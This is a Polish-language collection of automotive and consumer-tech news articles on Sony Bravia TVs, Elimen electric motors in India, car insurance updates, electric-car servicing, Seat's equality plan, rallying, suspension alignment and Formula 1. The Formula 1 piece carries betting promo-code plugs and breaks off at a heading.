– Nasze nowe telewizory BRAVIA są stworzone do rozrywki i stanowią najlepszy wybór zarówno dla zapalonego kibica, jak i kinomana albo gracza – mówi Masashi Takiguchi, obecny dyrektor europejskiego działu Home Entertainment & Sound i przyszły prezes Sony Europe. – W pełni urzeczywistniają naszą wizję, łącząc w sobie wieloletnie doświadczenie naszej firmy w dziedzinie telewizorów, kina i gier.

Sony Bravia XR 2023 – najważniejsze cechy telewizorów Bravia XR

  • Procesor Cognitive Processor XR z technologią XR Clear Image – dostosowuje sposób odtwarzania obrazu i dźwięku do działania ludzkich zmysłów, przez co ma zapewniać realistyczne wrażenia. Telewizory z 2023 r. będą wyposażone w jego najnowszą wersję z technologią XR Clear Image, w jeszcze większym stopniu osłabiającą zakłócenia i rozmycie poruszających się obiektów.
  • Audio Sony: Bravia XR współpracuje z szeregiem produktów, takimi jak zestaw kina domowego HT-A9 oraz soundbary HT-A7000, HT-A5000 i HT-A3000, które zyskały obsługę dźwięku przestrzennego 360 Spatial Sound Mapping. Technologia ta kalibruje dźwięk odpowiednio do warunków w pomieszczeniu i kreuje szereg optymalnie rozmieszczonych, wirtualnych głośników, które tworzą szersze, bardziej wciągające, kinowe pole dźwiękowe.
  • XR Backlight Master Drive: technologia wykorzystuje algorytm lokalnego wygaszania, który służy do sterowania tysiącami maleńkich, bardzo gęsto rozmieszczonych diod Mini LED. Technologia ta ma zapewniać niezwykłą jasność, imponujący zakres dynamiki, głęboką czerń i piękne, naturalne kolory.
  • Acoustic Center Sync: jeśli telewizor jest połączony z soundbarem obsługującym tę technologię, głośniki telewizora wspomagają działanie soundbara i wzmacniają kanał centralny. Dzięki takiej konfiguracji dźwięk ma nabierać większej intensywności, dialogi stawać się wyraźniejsze i bogatsze.
  • Współpraca z konsolą PlayStation5 i funkcje dla graczy: opis wyżej.
  • Bravia Core: nabywcy telewizorów z tej linii mogą korzystać z fabrycznie zainstalowanej platformy z filmami, dostępnej poprzez aplikację. Obejmuje ona 5,10 lub 15 kuponów uprawniających do uzyskania filmów z najnowszego katalogu filmów fabularnych oraz 12 lub 24 miesiące dostępu do nielimitowanego streamingu z dodatkowymi filmami. Po włączeniu trybu Calibrated Mode, telewizor automatycznie dobiera optymalne ustawienia obrazu filmowego, również w trybie IMAX Enhanced, aby zapewnić kinowe wrażenia w domowym zaciszu. Z czasem możliwości aplikacji będą wzbogacane o nowe funkcje.
  • Przycisk Crunchyroll na pilocie: umieszczony na pilocie przycisk ma zapewniać użytkownikom telewizorów BRAVIA szybki dostęp do jednej z największych na świecie bibliotek z filmami anime. W jej zasobach znajduje się ponad 44 000 odcinków i filmów fabularnych trwających łącznie ponad 18 000 godzin i przetłumaczonych na różne języki. Dostępny jest również simulcasting, dzięki czemu tytuły z Japonii można oglądać z zagranicy równolegle z ich nadawaniem w Japonii.
  • Bravia Cam: kamera, która umożliwia określenie miejsca, gdzie siedzi widz, w celu dostosowania obrazu i dźwięku do właściwości pomieszczenia i odległości między widzem a ekranem. Dzięki temu łatwo jest stworzyć optymalne warunki do komunikacji wideo z rodziną i znajomymi na dużym ekranie.
  • Google TV: łączy i porządkuje treści z aplikacji i subskrypcji użytkownika, gromadząc w jednym miejscu ponad 700 000 filmów i programów telewizyjnych. Ulubiony film można łatwo odnaleźć, używając wygodnego wyszukiwania głosowego po polsku.

Sony Bravia XR 2023 – wielkości (cale)

  • BRAVIA XR X95L 4K HDR Mini LED (85″, 75″, 65″)
  • BRAVIA XR X90L 4K HDR Full Array LED (98″, 85″, 75″, 65″, 55″)
  • BRAVIA XR A95L 4K HDR QD-OLED (77″, 65″, 55″)
  • BRAVIA XR A80L 4K HDR OLED (83″, 77″, 65″, 55″)

Sony: „Road to Zero” plastiku

Prezentując linię Bravia XR Sony podkreśla, że przestrzega swojego zobowiązania do ograniczenia użycia tworzyw sztucznych i realizuje plan ochrony środowiska Road to Zero. Wprowadza różne rozwiązania obejmujące cały cykl życia: od eliminowania tworzyw sztucznych z surowców pierwotnych poprzez zwiększenie efektywności transportu, aż po analizę zużycia energii podczas pracy.

We wszystkich modelach z 2023 r. wprowadzono nową funkcję Pulpit Eko, pozwalającą dostosowywać preferencje i ustawienia oszczędzania energii. Można zmieniać je pojedynczo lub wszystkie naraz.

Zmniejszono łączne wykorzystanie plastiku w produkcji o około 60%. Użycie mniejszych i lżejszych opakowań transportowych obniżyło emisję CO2 o ok. 15%.

Source: Sony Bravia XR 2023 – gama telewizorów zaprezentowana. TV coraz bliżej kina

4 polskie silniki elektryczne Elimen będą produkowane w Indiach na wielką skalę

Elimen Group to polski startup skupiający projektantów, konstruktorów i menedżerów z doświadczeniem w branży elektrotechnicznej. Firma specjalizuje się w projektowaniu, tworzeniu i testowaniu napędów elektrycznych dla producentów aut i jednośladów, ale też klientów z sektora logistyki, a także sportów motorowych. Niedawno zdobyła nie tylko miejsce, w którym powstaną silniki i inne elementy osprzętu, ale także duży rynek zbytu.

Silniki elektryczne Elimen produkowane w Indiach

Umowa licencyjna przewiduje na początek produkcję silników i falowników do motocykli, autobusów i pojazdów ciężarowych, a w następnym etapie – samochodów osobowych i ciężkich maszyn drogowych. Pierwsze silniki elektryczne i falowniki, skonstruowane przez Elimen, zjadą z taśm produkcyjnych fabryki Flash Electronics w indyjskim mieście Pune już w 2024 roku.

silnik elektryczny Elimen

Umowa licencyjna przewiduje na początek produkcję falowników oraz 4 rodzin silników o bazowych parametrach momentu szczytowego i mocy:

  • 3200 Nm / 360 kW
  • 360 Nm / 180 kW
  • 64 Nm / 16 kW
  • 25 Nm / 5,7 kW

Szacowane wielkości produkcji sięgać będą od 3 do 25 tys. jednostek miesięcznie. Pierwszy osprzęt trafi do motocykli, autobusów i pojazdów ciężarowych. W kolejnych etapach, skonstruowane przez Polaków jednostki napędowe trafią do samochodów osobowych oraz ciągników siodłowych i ciężkiego sprzętu drogowo-budowlanego.

Falownik Elimen

W związku z tą współpracą Flash Electronics zamierza uruchomić w pełni zautomatyzowaną linię produkcyjną opartą na najnowszej technologii uzwojeń silników typu continous hairpin. Strony nie podają wartości kontraktu, jednak Flash Electronics w ciągu dwóch lat na współpracę z Elimen Group (łącznie z uruchomieniem linii produkcyjnej) przeznaczy równowartość ponad 80 mln zł (Rs 150 crore).

Nasza wizyta w Indiach oraz udział w targach Auto Expo Components 2023, największej imprezie tego typu na kontynencie azjatyckim, stała się znakomitą okazją do nawiązania bezpośredniego dialogu z finalnymi odbiorcami produktów, dokładniejszego zrozumienia ich potrzeb, a w efekcie – lepszego dostosowania oferty do potrzeb rynku indyjskiego i innych rynków Azji – powiedział Cezary Klimont, prezes Elimen Group.

Potencjał Indii a sprzedaż silników elektrycznych

Potencjał współpracy partnerów jest ogromny, bo w samych Indiach zarejestrowanych jest ponad 300 mln pojazdów, nie licząc pozostałych wysoce chłonnych rynków azjatyckich. Prognozy wskazują, że wszystkie te kraje czeka gigantyczny skok technologiczny w kierunku transportu elektrycznego, a przewidywana wartość rynku pojazdów elektrycznych ma wynieść nawet 361 mld USD do roku 2027[1]. I chociaż konkurencja jest bardzo duża, Elimen Group wraz z Flash Electronics są na dobrej drodze, by zająć silną pozycję, zarówno jeśli chodzi o produkcję nowych pojazdów, jak i konwersje dotychczasowych pojazdów spalinowych.

Naszym celem jest osiągnięcie pozycji lidera w obszarze projektowania i produkcji napędów elektrycznych zasilanych napięciem 400 V oraz 800 V, które wykorzystywane są w elektrycznych autobusach i pojazdach dostawczych. Jako projektanci dysponujemy już gotowym kompletem tych urządzeń, które trafią do produkcji seryjnej – powiedział Daniel Śliwka, współwłaściciel i główny inżynier Elimen Group. – Na tym etapie budujemy także dział bezpieczeństwa funkcjonalnego, w ramach którego w oparciu o zapisy normy ISO 26262 będziemy doskonalić nasze procesy projektowania, prototypowania i przygotowywania modeli przedprodukcyjnych – dodał Daniel Śliwka.

Flash Electronics jest jednym z liderów indyjskiego sektora produkcji części mechanicznych i elektroniki dla pojazdów wszystkich kategorii, w tym 2- i 3-kołowców, samochodów osobowych, autobusów oraz pojazdów dostawczych. Firma od trzech dekad buduje konsekwentnie swoją pozycję na indyjskim rynku motoryzacyjnym, przyczyniając się do tworzenia czystego transportu opartego na pojazdach wyposażonych w silniki elektryczne w jednym z najbardziej zaludnionych państw świata.

W Indiach transport odpowiada za ponad 10% emisji CO całego kraju[2], dlatego tak ważne jest poszukiwanie nowych dróg jego rozwoju. Indyjski rząd opracował mapę drogową zmian w branży transportowej, której celem jest stopniowe przejście na pojazdy napędzane elektrycznie – powiedział Sanjeev Vasdev, dyrektor zarządzający oraz główny udziałowiec Flash Electronics. – Cieszymy się ze współpracy z Elimen Group, ponieważ to ważny etap w drodze do transformacji branży motoryzacyjnej na jednym z największych rynków świata – dodał Sanjeev Vasdev.

Elimen Group i Flash Electronics przewidują, że produkcja seryjna silników i falowników na bazie umowy licencyjnej ruszy w trzecim kwartale 2024 roku. Do tego czasu partnerzy będą wspólnie pozyskiwać nowych odbiorców na silniki i falowniki elektryczne na rynku indyjskim.

Podpisanie umowy licencyjnej otwiera drogę do szerokiego wdrożenia urządzeń zaprojektowanych przez Elimen Group. Dla nas kluczowa jest skala i potencjał rynku, na który firma właśnie wchodzi – powiedział Łukasz Blichewicz, prezes Grupy Assay, funduszu venture capital, który kilka lat temu zainwestował w spółkę. – Cieszę się, że uruchomienie produkcji w Indiach znacząco zwiększy wartość spółki, na czym skorzystają nasi inwestorzy. A to dopiero początek globalnej ekspansji Elimen Group.

Wsparcie finansowe i operacyjne dla rozwoju firmy zapewnia Grupa Assay – fundusz inwestycyjny z doświadczeniem w obszarze venture capital. Działa w modelu biznesowym opartym na akwizycji i współprowadzeniu firm, angażując się w budowanie sukcesów spółek ze swojego portfela.


[1] https://www.statista.com/outlook/mmo/electric-vehicles/asia

[2] https://www.teriin.org/policy-brief/transitioning-low-carbon-technology-road-transport-india

Source: 4 polskie silniki elektryczne Elimen będą produkowane w Indiach na wielką skalę

Jak zmienić dane w umowie o ubezpieczenie samochodu?

Zmiana danych a ubezpieczenie samochodu

Podczas zawierania umowy ubezpieczenia właściciel pojazdu musi podać wiele szczegółowych danych, które są niezbędne do oszacowania ryzyka wystąpienia kolizji lub wypadku drogowego. To także cenne informacje, w jaki sposób towarzystwo ubezpieczeniowe może skontaktować się z posiadaczem auta. Wszelkie zmiany w ich obrębie wymagają zgłoszenia – dotyczy to przede wszystkim:

  • danych właściciela oraz współwłaściciela pojazdu – ich imion, nazwisk, adresu do korespondencji i zamieszkania, numeru PESEL czy NIP;
  • informacji o pojeździe – zmian w jego konstrukcji, montażu instalacji gazowej, ale też w numerze rejestracyjnym czy VIN.

Dlaczego warto poinformować ubezpieczyciela o dokonanych zmianach? Przede wszystkim ze względu na komplikacje, które mogą pojawić się podczas likwidacji szkody, spowodowanej m.in. stłuczką. Wszelkie utrudnienia spowodowane nieprawidłowymi danymi ubezpieczonymi mogą przedłużyć termin wypłaty odszkodowania z OC sprawcy zdarzenia drogowego.

Wszelkie zmiany danych należy także uwzględnić przy zawiązywaniu umowy z nowym towarzystwem ubezpieczeniowym. Rozglądasz się za nową polisą OC? Ubezpiecz samochód za pośrednictwem PKO BP. Z pomocą serwisu porównasz oferty pięciu towarzystw ubezpieczeniowych, obliczysz wysokość składki Sprawdź szczegóły: https://www.pkobp.pl/klienci-indywidualni/ubezpieczenia/ubezpieczenie-samochodu/ubezpieczenie-samochodu/

W jaki sposób zmienić dane w umowie o ubezpieczenie samochodu?

Zmiany w obrębie np. danych osobowych właściciela pojazdu można dokonać na kilka sposobów – wszystko zależy od wewnętrznych procedur towarzystwa ubezpieczeniowego oraz rodzaju korekty. Zaistniałą zmianę zgłosisz m.in. poprzez:

  • formularze online ubezpieczyciela,
  • konto w serwisie firmy ubezpieczeniowej,
  • rozmowę telefoniczną z konsultantem,
  • bezpośredni kontakt z placówką ubezpieczyciela.

Kiedy należy zgłosić zmiany dotyczące umowy OC? Termin ten nie został uregulowany prawnie, jednak im szybciej poinformujesz o nich towarzystwo ubezpieczeniowe, tym lepiej. Dzięki temu unikniesz konsekwencji związanych z wypłatą OC, ale też podejrzeń o zatajeniu informacji przed ubezpieczycielem.

Pamiętaj: Jeżeli zakupiłeś samochód używany np. od osoby prywatnej, to dotychczasowy właściciel auta ma obowiązek zgłosić firmie ubezpieczeniowej zmianę posiadacza pojazdu w ciągu 14 dni od zawarcia umowy sprzedaży.

Gdzie sprawdzić ubezpieczenie samochodu?

Kupując auto z rynku wtórnego, nie tylko trzeba dokonać zmian w obrębie danych właściciela pojazdu – istotne jest to, czy pojazd posiada aktualną polisę OC. Brak ważnego ubezpieczenia może skutkować sporą karą finansową oraz następstwami związanymi z pokryciem likwidacji ewentualnych szkód spowodowanych przez kolizję lub wypadek samochodowy.

Jak sprawdzić, czy masz ubezpieczenie samochodu? Przekonasz się o tym, odwiedzając stronę internetową Ubezpieczeniowego Funduszu Gwarancyjnego – baza UFG zawiera dane o wszystkich wykupionych OC na terenie kraju. Wystarczy, że podasz numer rejestracyjny lub numer VIN pojazdu, a interesująca Cię informacja wyświetli się na ekranie urządzenia. O terminie ważności OC przekonasz się także za pośrednictwem Centralnej Ewidencji Pojazdów i Kierowców (CEPiK), gdzie zweryfikujesz też m.in. aktualność przeglądu technicznego auta.

Pamiętaj – wszelkie zmiany w obrębie umowy ubezpieczenia samochodu muszą być zgłaszane do towarzystwa ubezpieczeniowego. Im szybciej tego dokonasz, tym lepiej – zarówno dla Twoich finansów, jak i procedur związanych np. z wypłatą środków z OC.

Source: Jak zmienić dane w umowie o ubezpieczenie samochodu?

Samochód elektryczny u mechanika – czy serwisy są już gotowe na to wyzwanie?

Decyzją Parlamentu Europejskiego, od 2035 roku produkowane mają być wyłącznie pojazdy zeroemisyjne. Elektromobilność stanowi więc znak czasów – również w warsztatach samochodowych, gdzie pojawiają się pierwsze takie pojazdy. Gdy pojawia się samochód elektryczny u mechanika niedoświadczonego w tym temacie, w raz z nim mogą się pojawić problemy.

Z jakimi najczęściej usterkami związane są ich naprawy, czy za każdym razem konieczna jest wymiana komponentów i na co warto zwracać uwagę przy eksploatacji pojazdów zeroemisyjnych?

Samochód elektryczny u mechanika

Według raportu Polskiego Stowarzyszenia Paliw Alternatywnych, obecnie w Polsce w sprzedaży dostępnych jest 108 modeli pojazdów elektrycznych, a z roku na rok oferta ta stale rośnie.[1] Naprawa takich samochodów wymaga korzystania ze specjalistycznego sprzętu. Oprócz komputerów z odpowiednim oprogramowaniem, warsztaty obsługujące samochody elektryczne powinny posiadać sprzęt do diagnostyki pojazdów i uzupełniania tzw. pakietów. Do prawidłowego funkcjonowania serwisu konieczne jest również zaopatrzenie w różnego rodzaju ładowarki.

– Nasz warsztat wyposażony jest w urządzenie diagnostyczne – głowicę passthru KTS, dzięki której mamy możliwość połączenia się z pojazdem online bezpośrednio od dealera. W przypadku pojazdów takich marek jak Tesla bądź modelu Fiat 500, z niektórymi komponentami musimy połączyć się zdalnie. Podstawę działania w zakresie serwisów obsługujących samochody elektryczne, stanowi komunikacja z ich pakietami – tłumaczy Michał Surowiński, właściciel serwisu AUTO-BODO w Łodzi, należącego do sieci Q Service Castrol.

Naprawy elektryków – najczęstsze problemy

Auto elektryczne, jeśli jest użytkowane w sposób prawidłowy, nie wymaga zbyt wielu napraw. Jednak, jeśli już do nich dochodzi, to przede wszystkim dotyczą one kwestii związanych z nieszczelnością wspomnianych wcześniej pakietów. Instalacje w samochodach elektrycznych są bardzo podatne na jakąkolwiek wilgoć, z czego mogą wynikać w późniejszym okresie różne usterki. Z biegiem czasu i wzrastającą świadomością kierowców, tego rodzaju problemy są coraz rzadsze.

– Początkowo kierowcy uskarżali się na rozładowywanie pakietów, nie potrafili też w sposób umiejętny eksploatować pojazdów. Nie praktykowano również serwisów przedzakupowych, zwłaszcza w przypadku, gdy kierowca odkupywał od kogoś bądź sprowadzał używany pojazd. W takiej sytuacji zdarzały się np. usterki poboczne podczas sprowadzania samochodu. Po pewnym czasie, np. pół roku jego użytkowania, kierowca odwiedzał nasz serwis w celu naprawy awarii wynikającej z zaniedbań poprzedniego użytkownika – wyjaśnia Michał Surowiński.

Ze względu na to, że w samochodach elektrycznych funkcjonuje system odzyskiwania energii i najczęściej hamuje się silnikiem, zużywalność hamulców oraz całego układu jest znikoma. Służy on 3-4 razy dłużej w porównaniu do samochodów z silnikiem spalinowym. Jednymi z najczęstszych usterek, jakie dotyczą pojazdów elektrycznych, są, podobnie jak w przypadku pojazdów spalinowych, kwestie związane z zawieszeniem pojazdu.

Samochód elektryczny u mechanika nie jest już problemem. Serwis szybko diagnozuje problem i do naprawia.

– Oprócz rutynowych kontroli i przeglądów, kierowcy standardowo pojawiają się w serwisie w celu realizacji usług związanych z naprawami mechanicznymi, np. zawieszenia. Poważniejsze usterki w samochodach elektrycznych pojawiają się dość rzadko. Nie w każdym przypadku konieczna jest wymiana baterii bądź innych komponentów. Ich żywotność szacuje się na 10-15 lat – podsumowuje Surowiński.

Główny problem jaki pojawia się w kontekście samochodów elektrycznych wciąż dotyczy infrastruktury sieciowej. Na szczęście stacji ładowania pojazdów stale przybywa – w 2022 roku powstało ich kolejnych 600, a w obecnym przewiduje się, że łączna liczba wzrośnie do nawet 4 tysięcy.


[1] PSPA – Katalog pojazdów elektrycznych, link: https://pspa.com.pl/raporty/katalog-pojazdow-elektrycznych-2023/

Source: Samochód elektryczny u mechanika – czy serwisy są już gotowe na to wyzwanie?

Równość płci w motoryzacji – ta firma wzmacnia działania, aby zapewnić równe traktowanie i szanse kobietom w branży

Równość płci w motoryzacji to temat do niedawna nieistniejący. W większości firm w branży bagatelizowano obecność kobiet na stanowiskach kierowniczych, Komisja ds. równości firmy Seat podpisała nowy Plan Równości, który umacnia parytet wśród płci, różnorodność oraz integrację jako istotne wartości w codziennych działaniach oraz określa podstawowe zasady odpowiedzialnego i konkurencyjnego rozwoju. Plan ogranicza czynniki, które mogą prowadzić do podziałów przy procesach wyboru i awansu pracowników ze względu na płeć, kładzie nacisk na wsparcie kobiet będących ofiarami przemocy ze strony mężczyzn oraz wprowadza nowy pakiet środków zmierzających do zwiększenia równowagi między życiem zawodowym a prywatnym.

– Dzięki takim działaniom, będziemy mogli zagwarantować zrównoważony, wszechstronny i zróżnicowany rozwój naszej organizacji, która ma szansę stać się pionierem w branży i stanowić punkt odniesienia dla innych. Chcę podziękować za wysiłek, gotowość do dialogu i wkład wszystkim, którzy sprawili, że ten plan został wprowadzony w życie – przyznała Laura Carnicero, wiceprezes wykonawczy ds. ludzi i organizacji w firmie Seat S.A.

równość płci w motoryzacji (3)

Równość płci w motoryzacji – Seat wdraża Plan Równości

Plan zawiera ponad 60 konkretnych środków i rozwiązań, których celem jest zapewnienie wszystkim równego traktowania oraz równych szans. Obejmuje m.in. programy szkoleń dotyczące równouprawnienia organizowane dla członków wspólnych komisji, obecnych w aktualnym porozumieniu zbiorowym Seata. Zakłada również włączenie tych członków w wewnętrzne procesy szkoleniowe dla menedżerów i osób na stanowiskach kierowniczych. Oczekuje się, że wprowadzone działania przyciągną i zainteresują więcej utalentowanych kobiet. Plan uaktualnia również protokół przemocy ze strony osób stosujących działania o podłożu seksistowskim i dokonuje przeglądu procedury przeciwko molestowaniu seksualnemu i stosowanej przemocy ze względu na płeć, rozszerzając je do większej liczby społeczności, w tym LGBTI+ oraz o inne, nieuwzględnione dotychczas formy molestowania.

Równość płci w motoryzacji

Plan Równości w zakresie zwiększenia równowagi pomiędzy życiem zawodowym a prywatnym, zakłada przedłużenie urlopu opiekuńczego z dwóch do trzech lat (o rok dłużej niż jest to wymagane w obecnie obowiązującym prawie hiszpańskim). Firma rozpocznie również w swoich zakładach produkcyjnych pilotażowy projekt, który pozwoli na podział rocznego wymiaru urlopowego.

równość płci w motoryzacji (3)

Seat podpisał swój pierwszy Plan Równości już w 2012 roku. Za główny cel postawiono uczynienie różnorodności wspólnym dziedzictwem całej firmy.

Obecnie w przedsiębiorstwie pracuje ponad 3000 kobiet, co stanowi 20% siły roboczej, a 26% stanowisk kierowniczych zajmują kobiety.

Nowo podpisany Plan Równości jest wynikiem intensywnej pracy polegającej na analizie prowadzonych od miesięcy przez 26-osobową komisję (13 osób z kierownictwa firmy i 13 pracowników) rozmów. Przedstawia różne wrażliwości i obszary działalności firmy Seat. Z tego względu nowy plan stanowi inicjatywę powstałą z myślą o dzisiejszym społeczeństwie, nowych środowiskach pracy oraz strategicznych priorytetach firmy. Ponadto wspiera główny cel, jakim jest stałe wsparcie zróżnicowanego, bezpiecznego i sprawiedliwego środowiska pracy.

CUPRA na rzecz równości

Cupra, należąca do Seata, od lat angażuje się w działania i inicjatywy na rzecz równości.  Marka uczestniczy w zawodach Extreme E, w których jednym z głównych postulatów jest równość płci, w związku z czym za kierownicą samochodów podczas wyścigów zasiadają zarówno kobiety jak i mężczyźni. Podczas kolejnych sezonów motorsportowych zmagań wśród zawodników CUPRY znaleźli się: Jutta Kleinschmidt i Mattias Ekström, oraz Klara Andersson i Nasser Al-Attiyah.

Source: Równość płci w motoryzacji – ta firma wzmacnia działania, aby zapewnić równe traktowanie i szanse kobietom w branży

Kajetan Kajetanowicz przetestował nową rajdówkę. Klarują się plany Polaka na sezon 2023

W zbliżającym się Rajdzie Meksyku załoga ORLEN Rally Team i Kajetan Kajetanowicz wystartuje sprawdzoną Škodą Fabią Rally2 evo, natomiast niewykluczone, że w wybranych rundach mistrzowskiego cyklu Polacy pojadą nowym autem. Decyzja o wyborze samochodu pozostaje w rękach najbardziej utytułowanego kierowcy rajdowego w Polsce.

Kajetan Kajetanowicz – jakie plany na 2023?

W ostatni czwartek opublikowano listę zgłoszeń do Rajdu Meksyku, trzeciej rundy Rajdowych Mistrzostw Świata. Na liście znaleźli się reprezentanci ORLEN Rally Team, Kajetan Kajetanowicz i Maciej Szczepaniak. Dla Polaków będzie to pierwszy start w tym sezonie, i jak na razie jedyny pewny. Oprócz nich na starcie w kategorii WRC2 zobaczymy silną konkurencję, m.in. duety Greensmith/Andersson, Solberg/Edmondson, Formaux/Coria czy aktualnych mistrzów świata, Lindholma i Hämäläinen.

Kajetan Kajetanowicz Skoda Fabia Rally2

W ramach przygotowań do rajdu Kajetanowicz odbył w Portugalii pierwsze testy, podczas których trenował dwoma modelami rajdowej Škody. Szutrowe trasy Polak pokonywał Škodą Fabią Rally2 evo, którą startował w ubiegłym sezonie, a także jej nowszą generacją, RS Rally2. Nowa konstrukcja czeskiego auta charakteryzuje się m.in. efektywniejszym pakietem aerodynamicznym, poprawionym zawieszeniem, a także mocniejszym silnikiem. Kajto pozytywnie ocenił możliwości najnowszej, rajdowej Škody.

– Cieszę się, że wracamy do naszego rajdowego trybu. Zakończyliśmy właśnie bardzo ważne testy, w trakcie których porównywaliśmy nową generację Škody z poprzednią, dobrze nam znaną. Nowe auto zrobiło na mnie pozytywne wrażenie, ma duży potencjał. W mojej ocenie jest nieco mocniejsze. Natomiast stary samochód znam bardzo dobrze jeśli chodzi o ustawienia, mamy dla niego pakiety set-upów na każde warunki.

Analizujemy z inżynierami dane, jakie zebraliśmy podczas testów i na tej podstawie podejmiemy decyzję, czym wystartujemy w danym rajdzie tego sezonu. Będzie mi nieco trudniej zdecydować niż na przykład kierowcom fabrycznym, którzy mają za sobą mnóstwo kilometrów przejechanych już nowym samochodem, a niektórzy z nich już są po dwóch rundach. Przed nami Rajd Meksyku, jesteśmy gotowi. Trzymajcie za nas kciuki – mówi Kajetan Kajetanowicz.

Rajd Meksyku powraca do kalendarza WRC po dwuletniej przerwie. Organizatorzy zaplanowali na ten rok dwadzieścia trzy odcinki specjalne o łącznej długości 320,71 km. Rywalizacja rozpocznie się w czwartek, 16 marca. Zwycięzców trzeciej rudny tegorocznych mistrzostw świata poznamy 19 marca. 

Starty Kajetana Kajetanowicza wspierają strategiczny partner ORLEN Rally Team – PKN ORLEN, a także partner techniczny Delphi Technologies, Pirelli, Grupa Sikora oraz SJS Driving Experience.

Kajetan Kajetanowicz Skoda Fabia Rally2


Source: Kajetan Kajetanowicz przetestował nową rajdówkę. Klarują się plany Polaka na sezon 2023

Czy kontrola geometrii zawieszenia po wymianie amortyzatorów jest konieczna?

Fakt, że montaż nowych amortyzatorów diametralnie poprawia właściwości jezdne samochodu nie oznacza, że zawsze wpływa to na zmianę zbieżności. Co więcej, wiele samochodów ma możliwość regulacji zbieżności (kontrola geometrii zawieszenia) wyłącznie na osi przedniej, a zatem w ich przypadku wymiana amortyzatorów na osi tylnej w żaden sposób nie ingeruje w zbieżność. Chyba, że ktoś przez pomyłkę zastosuje niewłaściwy typ amortyzatorów, np. od innego modelu samochodu.

Na tym etapie wiemy już, że nie zawsze wymiana amortyzatorów musi kończyć się kontrolą zbieżności. Odpowiedzmy zatem na pytanie, kiedy taka kontrola jest wymagana?

Kontrola geometrii zawieszenia – zwróć uwagę na te czynniki!

Kontrola zbieżności po zakończeniu naprawy wymagana jest zawsze, kiedy podczas wymiany mechanik ingerował w te elementy zawieszenia, od których zależy geometria. Są to np. drążki kierownicze, mimośrodowe połączenia wahaczy, ruchome połączenia kolumn amortyzatora ze zwrotnicami, które umożliwiają korektę kąta pochylenia koła.

Przez ingerencję mechanika rozumiemy dwa przypadki. Pierwszy, to wymiana tych elementów na nowe przy okazji wymiany amortyzatora lub zmiana wzajemnego położenia tych elementów względem siebie albo względem innych części pojazdu w wyniku montażu nowego amortyzatora.

Przypadek drugi to rozłączanie wspomnianych elementów celem ułatwienia sobie przeprowadzenia naprawy. Chodzi o przypadki, w których np. rozłączenie sworznia drążka kierowniczego nie jest konieczne dla wymiany amortyzatora, ale mechanik wykonał tę czynność, aby ułatwić sobie pracę (dostęp do innych połączeń, przyłożenie odpowiedniego klucza itp.).

Kontrola geometrii zawieszenia – „na oko”

Mając na uwadze ingerencję w elementy odpowiedzialne za zbieżność, wielu mechaników przed rozkręceniem ich znaczy sobie odległości pomiędzy różnymi punktami orientacyjnymi tak, aby po powtórnym montażu zachować stare parametry. To oczywiście dobry i sprytny sposób, ale ma on charakter prowizoryczny i sprawdza się wyłącznie wtedy, kiedy dany warsztat nie dysponuje stanowiskiem kontrolnym. Klient po wykonaniu takiej naprawy musi jak najszybciej udać się na diagnostykę i pomiar zbieżności do innego warsztatu.

Kontrola geometrii zawieszenia a wymiana amortyzatorów

To, czy po wymianie amortyzatorów trzeba kontrolować (czy regulować) zbieżność zależy od dwóch czynników: pierwszym jest konstrukcja danego pojazdu, a drugim zakres ingerencji mechanika w zawieszenie podczas naprawy.

Widzimy, że nie można twierdzić, iż zawsze po wymianie amortyzatorów trzeba skontrolować zbieżność. Taka konieczność wynika tylko z techniki przeprowadzanej naprawy. Z drugiej jednak strony, przynajmniej raz w roku warto kontrolować zbieżność profilaktycznie, ponieważ od samej jazdy może ona ulec rozregulowaniu (czasem wystarczy eksploatacja pojazdu po nierównych drogach lub zbyt gwałtowny najazd na krawężnik podczas parkowania). Niektórzy kierowcy robią to przed wymianą opon na letnie. Wymiana amortyzatorów może być równie dobrym pretekstem. Sprawne zawieszenie i prawidłowa zbieżność mają nie tylko pozytywny wpływ na bezpieczeństwo jazdy, ale pozwolą także w pełni cieszyć się z przyjemności jazdy, jaką gwarantują nowe amortyzatory Bilstein – podsumowuje Andrzej Wojciech Buczek, doradca techniczny w IHR Warszawa, oficjalnego dystrybutora marki Bilstein w Polsce.

Source: Czy kontrola geometrii zawieszenia po wymianie amortyzatorów jest konieczna?

Hamilton czy Verstappen – kto ma większe szanse na tytuł MŚ?

Lewis Hamilton

Brytyjczyk to bez wątpienia najbardziej utytułowany z kierowców, którzy nadal występują na torach Formuły 1. Lewis Hamilton ma na swoim koncie 7 tytułów Mistrza Świata, a 8 był o włos w kampanii 2021, kiedy to podczas ostatniego okrążenia przegrał z Verstappenem. W poprzedniej kampanii kierowca Mercedesa praktycznie od początku sezonu nie był w stanie podjąć rękawicy, ponieważ dysponował o wiele gorszym bolidem od rywali. Dopiero w końcówce sezonu Mercedes popracował nad swoją maszyną i od razu zaczęło się to odbijać na lepszych wynikach Hamiltona.

W ostatnich dniach odbyła się prezentacja nowego bolidu Mercedesa W14. Zespół wierzy, że ta maszyna będzie w stanie zapewnić im powrót do walki o najwyższe cele w klasyfikacji konstruktorów, jak również indywidualnej.  W 2022 Mercedes po raz pierwszy od 8 lat nie zwyciężył w klasyfikacji konstruktorów. Siedmiokrotny Mistrz Świata również zakończył kampanię 2022 z negatywnym osiągnięciem, jakim był brak choćby jednej wygranej w sezonie. Taka sytuacja przydarzyła mu się po raz pierwszy w całej karierze. Superbet kod promocyjny gwarantuje ciekawy kurs na Hamiltona.

Hamilton – statystyki:

  • Lewis Hamilton to najbardziej utytułowany kierowca w stawce.
  • Brytyjczyk ma na swoim koncie 7 tytułów Mistrza Świata.
  • Hamilton w 3 z 4 ostatnich wyścigów stanął na podium.
  • Hamilton nie wygrał żadnego wyścigu poprzednim sezonie.

Biorąc pod uwagę fakt, jak Hamilton spisywał się w końcówce sezonu, a także zwracając uwagę na poprawki sprzętowe, można się spodziewać, że drugi tak słaby rok ścigania trudno będzie powtórzyć. Mercedes z pewnością liczy na lepsze rezultaty niż w poprzedniej kampanii, a zakłady bukmacherskie uważają, że ich poprawienie jest bardzo prawdopodobne i możesz w ten sposób wykorzystać Superbet kod promocyjny.

Podwójny mistrz!

